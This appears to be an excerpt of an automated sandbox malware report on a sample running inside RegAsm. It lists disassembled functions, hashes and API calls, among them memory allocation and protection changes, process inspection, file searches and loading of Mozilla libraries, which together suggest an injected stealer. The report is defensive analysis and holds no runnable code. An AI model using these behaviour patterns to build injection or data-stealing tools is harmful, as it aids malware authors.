Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C2D3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C2D3095

Part of subcall function 6C2D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C35F688,00001000), ref: 6C2D35D5
Part of subcall function 6C2D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2D35E0
Part of subcall function 6C2D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C2D35FD
Part of subcall function 6C2D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C2D363F
Part of subcall function 6C2D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C2D369F
Part of subcall function 6C2D35A0: __aulldiv.LIBCMT ref: 6C2D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2D309F

Part of subcall function 6C2F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B85
Part of subcall function 6C2F5B50: EnterCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B90
Part of subcall function 6C2F5B50: LeaveCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5BD8
Part of subcall function 6C2F5B50: GetTickCount64.KERNEL32 ref: 6C2F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C2D30BE

Part of subcall function 6C2D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C2D3127
Part of subcall function 6C2D30F0: __aulldiv.LIBCMT ref: 6C2D3140

Part of subcall function 6C30AB2A: __onexit.LIBCMT ref: 6C30AB30

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: bc7b2c007dbdc6b7410f59ce344c6aba5f986123adcb452e3a52e1238b954ec0
Instruction ID: 691ab6c367b6bb7597095a4dbf9829f40a626675a0d45e877e86cd51c801f227
Opcode Fuzzy Hash: bc7b2c007dbdc6b7410f59ce344c6aba5f986123adcb452e3a52e1238b954ec0
Instruction Fuzzy Hash: 90F0A922E20B4896CA10DF74D8811E6B778AF6F114F915719E89457691FB2061D883C2

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 004137A0 Relevance: 3.1, APIs: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137BB

Part of subcall function 004133C0: wsprintfA.USER32 ref: 004133DC
Part of subcall function 004133C0: FindFirstFileA.KERNEL32(?,?), ref: 004133F3

strtok_s.MSVCRT ref: 00413862

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: b6b12603f938f1bff0f840590ff514a47da9ae8cf495232e9c1f242d3617e506
Instruction ID: 60117685712d1260c99ae6872f0ff58ab6cc0d9189090ab003c82d6b2a33ed52
Opcode Fuzzy Hash: b6b12603f938f1bff0f840590ff514a47da9ae8cf495232e9c1f242d3617e506
Instruction Fuzzy Hash: FB215EB1500108ABDB24FFA5DC52FED7379AF44304F40805AF90E9B192EB746B44C79A

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
